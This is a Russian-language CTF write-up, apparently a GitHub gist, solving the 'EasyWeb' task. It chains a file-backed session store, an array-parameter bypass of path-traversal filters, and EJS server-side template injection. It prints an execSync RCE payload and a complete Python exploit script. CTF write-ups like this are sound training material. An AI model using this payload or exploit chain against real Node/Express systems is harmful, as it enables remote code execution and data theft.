Skip to content

Instantly share code, notes, and snippets.

@keltecc
Last active July 20, 2020 17:16
Show Gist options
  • Save keltecc/eedf120de348f658940b54d8c329a9e3 to your computer and use it in GitHub Desktop.
Save keltecc/eedf120de348f658940b54d8c329a9e3 to your computer and use it in GitHub Desktop.
Разбор четвёртого задания таск-бота 2020

EasyWeb (web, 400 pts)

Я добавил несколько проверок в код, чтобы усилить безопасность сайта. Надеюсь, что теперь мой сайт полностью безопасен. Если вы обойдёте защиту, сможете получить флаг в директории /tmp/. Не думаю, что у вас получится.

http://5.8.181.130:5945

Флаг: LetoCTF{sSt1_1n_ejs_sT1ll_w0rk5_iN_2020}

Интерфейс

Веб-сайт, который предлагается "взломать", имеет достаточно минималистичный дизайн и содержит не так много функций:

  • можно залогиниться, если ввести логин в специальное поле и нажать на кнопку login
  • можно разлогиниться, если нажать на кнопку logout
  • главная (и единственная) страница сайта имеет адрес /view?page=index

У аккаунта есть единственное поле, которое мы можем контролировать — логин (username), других полей нет.

Решение

Задание состоит из нескольких этапов, которые необходимо пройти последовательно, чтобы получить флаг.

Получение исходного кода сервера

Первое, что нужно было сделать — посмотреть в исходный код страницы и увидеть там html-комментарий:

<!-- see /?source=1 -->

Это может быть полезным! Переходим по адресу /?source=1 и находим там исходный код сервера:

const express = require('express')
const session = require('express-session')
const store = require('session-file-store')(session)


const app = express()

app.set('view engine', 'json');
app.engine('json', require('ejs').__express);

app.use(express.urlencoded({ extended: true }))

app.use(session({
    store: new store(),
    secret: '🤔',
    resave: false,
    saveUninitialized: true
}))


app.get('/', (req, res) => {
    if (req.query.source) {
        res.sendFile(__filename)
        return
    }

    res.redirect('/view?page=index')
});

app.post('/login', (req, res) => {
    let { username } = req.body;

    if (username) {
        req.session.user = username.toString()
    }

    res.redirect('/');
});

app.post('/logout', (req, res) => {
    delete req.session.user

    res.redirect('/');
});

app.get('/view', (req, res) => {
    let page = req.query.page

    if (!page) {
        res.redirect('/')
        return
    }

    page = makesafe(strip(page))
    
    res.render(`pages/${page}`, { user: req.session.user })
})


function strip(str) {
    // prevent path traversal in leading characters
    // "/etc/passwd", "../etc/passwd" -> will not work

    const regex = /^[a-z0-9]/im

    if (!regex.test(str[0])) {
        if (str.length > 0) {
            return strip(str.slice(1))
        }
    }

    return str
}

function makesafe(str) {
    // remove all directory traversal sequences
    // "aaa/../../../../etc/passwd" -> will not work

    if (str.includes('../')) {
        return makesafe(str.replace('../', ''))
    }

    return str
}


app.listen(31337, '0.0.0.0');

Как мы видим, сервис написан на Node с использованием фреймворка Express и имеет всего три обработчика:

  • /login — ставит в сессию параметр user, который мы вводим
  • /logout — удаляет из сессии параметр user
  • /view — принимает путь до страницы в параметре page и рендерит её

Кроме них, в исходном коде есть две функции, которые пытаются сделать параметр page безопасным: удаляют из него подстроки '../' так, чтобы исключить возможность сделать атаку path traversal. Кажется, про эти функции автор говорил в описании таска. Значит, именно они станут нашей целью.

Анализ исходного кода и нахождение вектора атаки

Сначала исследуем исходный код и попытаемся придумать вектор атаки.

Описание сообщает, что флаг находится в директории /tmp/ на сервере, при этом имя файла с флагом неизвестно. Значит, нам нужно научиться делать две вещи:

  1. получать список файлов в заданной директории
  2. читать любой файл на сервере

В коде сервера нет подходящих для этого функций, из чего можно сделать вывод, что нам необходимо получить RCE. Если подумать, какие есть уязвимости, которые могут привести к RCE в нашем случае, сразу вспомнится SSTI — возможность контролировать шаблон, который рендерится сервером, что при определённых условиях приводит к выполнению произвольного кода.

Вспомним, как работает рендер шаблонов в Express. По умолчанию при вызове res.render сервер ищет шаблон в директории views, находящейся рядом с index.js. Если по заданному пути шаблона нет, выбрасывается исключение (это мы можем проверить, если зайдём на /view?page=abc и получим ошибку 500 от сервера). Расширение файла с шаблоном определяется движком отрисовки шаблона (шаблонизатором), но может быть изменено в коде сервера, что и происходит в нашем случае:

app.set('view engine', 'json');
app.engine('json', require('ejs').__express);

Как мы видим, используется движок ejs, но расширение файла с шаблоном зачем-то изменено с .ejs на .json. Выглядит подозрительно! Это значит, если мы найдём на сервере файл с расширением .json, который мы можем контролировать, то мы сможем проэксплуатировать уязвимость SSTI. Теперь нам нужно научиться делать две вещи:

  • писать в какой-нибудь .json файл на сервере
  • передавать путь к такому файлу в функцию res.render

Поиск контролируемого файла с расширением .json

Чтобы хранить логин каждого пользователя, сервис использует сессии, в которые записывает параметр username:

const session = require('express-session')
const store = require('session-file-store')(session)


const app = express()

app.use(session({
    store: new store(),
    secret: '🤔',
    resave: false,
    saveUninitialized: true
}))

Для хранения сессий используется модуль express-session. В описании к нему мы можем прочитать следующее:

Note: Session data is not saved in the cookie itself, just the session ID. Session data is stored server-side.

Warning: The default server-side session storage, MemoryStore, is purposely not designed for a production environment. It will leak memory under most conditions, does not scale past a single process, and is meant for debugging and developing.

Нам важно, что этот модуль хранит содержимое сессии на стороне сервера, а клиенту передаёт только ID сессии (уникальный идентификатор сессии). По умолчанию сессии хранятся в оперативной памяти сервера (MemoryStore), но в нашем таске автор использует другое хранилище сессий — session-file-store. Из описания (и названия) этого модуля ясно, что он записывает сессии на диск, значит, куда-то на диск записывается наш username, с которым мы логинимся. Кажется, это может стать тем самым контролируемым файлом на сервере, который мы ищем.

Посмотрим на исходный код модуля на GitHub, чтобы найти, куда он сохраняет сессии. В файле lib/session-file-helpers.js мы видим следующий код:

sessionPath: function (options, sessionId) {
    //return path.join(basepath, sessionId + '.json');
    return path.join(options.path, sessionId + options.fileExtension);
}

Стало ясно, что сессии хранятся в какой-то директории, каждая сессия в отдельном файле с каким-то расширением, которое берётся из options. Так как в коде сервера не передаётся никаких аргументов конструктору хранилища, посмотрим на значения по умолчанию (которые определены в том же файле):

DEFAULTS: {
    path: './sessions',
    ttl: 3600,
    retries: 5,
    factor: 1,
    minTimeout: 50,
    maxTimeout: 100,
    reapInterval: 3600,
    reapMaxConcurrent: 10,
    reapAsync: false,
    reapSyncFallback: false,
    logFn: console.log || function () {
    },
    encoding: 'utf8',
    encoder: JSON.stringify,
    decoder: JSON.parse,
    encryptEncoding: 'hex',
    fileExtension: '.json',
    crypto: {
      algorithm: "aes-256-gcm",
      hashing: "sha512",
      use_scrypt: true
    },
    keyFunction: function (secret, sessionId) {
      return secret + sessionId;
    },
}

Обратим внимание на две строки:

  • path: './sessions'
  • fileExtension: '.json'

Используя их, мы можем составить путь к файлу с сессией, зная sessionId: ./sessions/{sessionId}.json. А это как раз тот контролируемый .json-файл, который мы искали! Осталось понять, как получить sessionId из cookie — нужно посмотреть на исходный код express-session и найти, как он формирует cookie. Смотрим в файл index.js

function setcookie(res, name, val, secret, options) {
    var signed = 's:' + signature.sign(val, secret);
    var data = cookie.serialize(name, signed, options);
  
    debug('set-cookie %s', data);
  
    var prev = res.getHeader('Set-Cookie') || []
    var header = Array.isArray(prev) ? prev.concat(data) : [prev, data];
  
    res.setHeader('Set-Cookie', header)
}

и видим, что значение подписывается модулем cookie-signature и записывается после s:. Смотрим исходный код cookie-signature:

exports.sign = function(val, secret){
    if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");
    if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");
    return val + '.' + crypto
        .createHmac('sha256', secret)
        .update(val)
        .digest('base64')
        .replace(/\=+$/, '');
};

После значения через символ точки . записывается подпись. То есть, чтобы получить sessionId из cookie, нужно взять подстроку между двоеточием и точкой. Пример:

Если cookie имеет вид s:vz02lD-WvchaGERDNavRrBWzcaKhP9_4.uvfXSXWFKxc+nAVee3qqqlNMm2XvvYSP/MojpVpB4zM, то sessionId будет vz02lD-WvchaGERDNavRrBWzcaKhP9_4.

Обход ограничения path traversal

Мы научились записывать данные в файл с расширением .json, теперь надо подумать, как его рендерить. Разберём две функции проверки.

function strip(str) {
    // prevent path traversal in leading characters
    // "/etc/passwd", "../etc/passwd" -> will not work

    const regex = /^[a-z0-9]/im

    if (!regex.test(str[0])) {
        if (str.length > 0) {
            return strip(str.slice(1))
        }
    }

    return str
}

function makesafe(str) {
    // remove all directory traversal sequences
    // "aaa/../../../../etc/passwd" -> will not work

    if (str.includes('../')) {
        return makesafe(str.replace('../', ''))
    }

    return str
}

Первая функция удаляет из начала строки служебные символы, а вторая — удаляет из всей строки подстроку '../' до тех пор, пока эта подстрока находится в строке. Выглядит безопасно? Для строки — да. Но не для массива!

Подумаем, что будет, если передать в параметре page не строку, а массив. Первая функция будет тестировать по очереди первые элементы массива, а вторая — искать в массиве строку '../'. Если передать такой массив, в котором первый элемент будет строкой из подходящих символов, а среди остальных элементов не будет строки '../', то такой массив пройдёт проверку.

Заметим, что в пути к шаблону параметр page приводится к типу строки принудительно:

page = makesafe(strip(page))
    
res.render(`pages/${page}`, { user: req.session.user })

В JavaScript массив при переводе в строку переводит в строки каждый элемент и конкатенирует их через запятую:

> ['A', 'B', 'C'].toString()
'A,B,C'

То есть, передав в page примерно такой массив ['X', 'Y/../Z'], это превратится в строку 'X,Y/../Z', и мы достанем до шаблона, лежащего по пути:

./views/pages/X,Y/../Z

Если мы научимся передавать в page массив, мы получим рабочий path traversal!

Поиск способа передать массив в GET параметр

Если вы помните, сервер использует Express для обработки http-запросов. Посмотрим на его исходный код. Нам нужна та часть кода, которая разбирает параметры GET-запроса. Сделаем поиск по слову query и найдём файл lib/middleware/query.js:

var qs = require('qs');

module.exports = function query(options) {
    var opts = merge({}, options)
    var queryparse = qs.parse;
  
    if (typeof options === 'function') {
        queryparse = options;
        opts = undefined;
    }
  
    if (opts !== undefined && opts.allowPrototypes === undefined) {
        // back-compat for qs module
        opts.allowPrototypes = true;
    }
  
    return function query(req, res, next){
        if (!req.query) {
          var val = parseUrl(req).query;
          req.query = queryparse(val, opts);
        }
  
        next();
    };
}

Видим, что используется модуль qs. Посмотрим в его исходный код. Чтобы не разбираться во всём модуле, обратим внимание на тесты в файле test/parse.js. Один из тестов выглядит полезным:

st.deepEqual(qs.parse('a[]=b&a[]=c', { arrayFormat: 'brackets' }), { a: ['b', 'c'] });

Теперь понятно, что если передать параметр page несколько раз, он сохранится как массив.

Выполнение удалённого кода

Мы научились рендерить произвольный шаблон, осталось понять, как сделать RCE в шаблонизаторе ejs. Рабочее решение находится в интернете. Например, на GitHub есть полезная утилита tplmap, которая умеет автоматически проводить инъекции в разные шаблоны. В файле plugins/engines/ejs.py можно найти пример пэйлоада для ejs:

<%- global.process.mainModule.require('child_process').execSync(Buffer('%(code_b64)s', 'base64').toString()) %>

Если мы не хотим использовать base64, можно упростить пэйлоад до

<%- global.process.mainModule.require('child_process').execSync('code') %>

С помощью RCE и несложных команд шелла можно посмотреть список файлов в директории /tmp/ и получить флаг.

Восстанавливаем весь путь эксплуатации

  1. логинимся с именем, которое является инъекцией в шаблон
  2. достаём sessionId из cookie
  3. обходим проверку на path traversal в /view, используя массив
  4. рендерим файл с нашей сессией как шаблон

Пример эксплоита

#!/usr/bin/env python3.7

import sys
import requests

from urllib.parse import quote, unquote


def make_username(cmd):
    return f"<%- global.process.mainModule.require('child_process').execSync('{cmd}') %>"


def make_payload(path):
    return f'?page[]=X&page[]=Y/../{path}'


def main(ip, port):
    # cmd = 'ls -la /tmp/'
    cmd = 'cat /tmp/flag_2af0398492b0ba9f48ee93ff741aa601.txt'

    username = make_username(cmd)

    url = f'http://{ip}:{port}'
    session = requests.session()
    
    session.post(url + '/login', data={'username': username})
    cookie = unquote(session.cookies['connect.sid'])
    session_id = cookie[cookie.find(':') + 1:cookie.find('.')]
    print(f'session id: {session_id}')

    path = f'../../sessions/{session_id}.json'
    payload = make_payload(path)
    response = requests.get(url + '/view' + payload).text

    prefix = '{"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"user":"'
    suffix = '","__lastAccess":1594639582793}'

    print(response[len(prefix):-len(suffix) - 1])


if __name__ == '__main__':
    ip, port = '5.8.181.130', 5945
    main(ip, port)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment